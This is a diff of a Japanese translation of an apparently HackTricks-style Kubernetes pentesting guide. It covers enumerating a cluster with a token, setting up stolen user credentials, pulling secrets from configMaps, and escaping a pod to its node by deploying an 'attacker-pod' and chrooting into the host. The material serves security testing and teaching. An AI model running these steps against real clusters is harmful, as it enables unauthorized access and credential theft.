> デフォルトでは、ポッドは**kube-apiサーバー**に**アクセス**でき、ドメイン名**`kubernetes.default.svc`**で確認でき、**`/etc/resolv.config`**にkubeネットワークが表示されます。ここではkubernetes DNSサーバーのアドレスが見つかります(同じ範囲の「.1」がkube-apiエンドポイントです)。
|
||||
> デフォルトでは、ポッドは **kube-api サーバー** に **`kubernetes.default.svc`** というドメイン名で **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。
|
||||
|
||||
### Using kubectl
|
||||
|
||||
トークンとAPIサーバーのアドレスを持っている場合、ここに示すようにkubectlまたはcurlを使用してアクセスします:
|
||||
トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします:
|
||||
|
||||
デフォルトでは、APISERVERは`https://`スキーマで通信しています。
|
||||
デフォルトでは、APISERVER は `https://` スキーマで通信しています。
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> URLに`https://`が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。
|
||||
> URLに`https://`がない場合、Bad Requestのようなエラーが発生する可能性があります。
|
||||
|
||||
[**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。
|
||||
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
ユーザーの資格情報を盗むことに成功した場合、次のような方法で**ローカルに構成**できます:
|
||||
もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -345,9 +345,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### ノードを取得
|
||||
### ノードの取得
|
||||
|
||||
**クラスター内に構成されたすべてのノードを取得**します。
|
||||
**クラスター内に構成されているすべてのノードを取得します**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### DaemonSetsの取得
|
||||
|
||||
**DaemonSets**は、**特定のポッドがクラスタのすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
|
||||
**DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -381,7 +381,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Cronジョブの取得
|
||||
### Cronジョブを取得する
|
||||
|
||||
Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。
|
||||
|
||||
@@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### configMapを取得する
|
||||
|
||||
configMapには、kubernetesで実行されるアプリに提供される多くの情報や設定ファイルが常に含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
|
||||
configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -465,7 +465,7 @@ KubernetesのコントロールプレーンがRESTful APIを公開している
|
||||
|
||||
### ポッドからの脱出
|
||||
|
||||
新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスを表示しているためです。
|
||||
新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参照として使用できます。既存のイメージやパスを表示しているためです。
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
@@ -509,11 +509,11 @@ restartPolicy: Never
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
次のようにして作成したポッドに切り替えることができます。
|
||||
次のように作成したポッドに切り替えることができます。
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
そして最後に、ノードのシステムにchrootします。
|
||||
そして最終的に、ノードのシステムにchrootします。
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user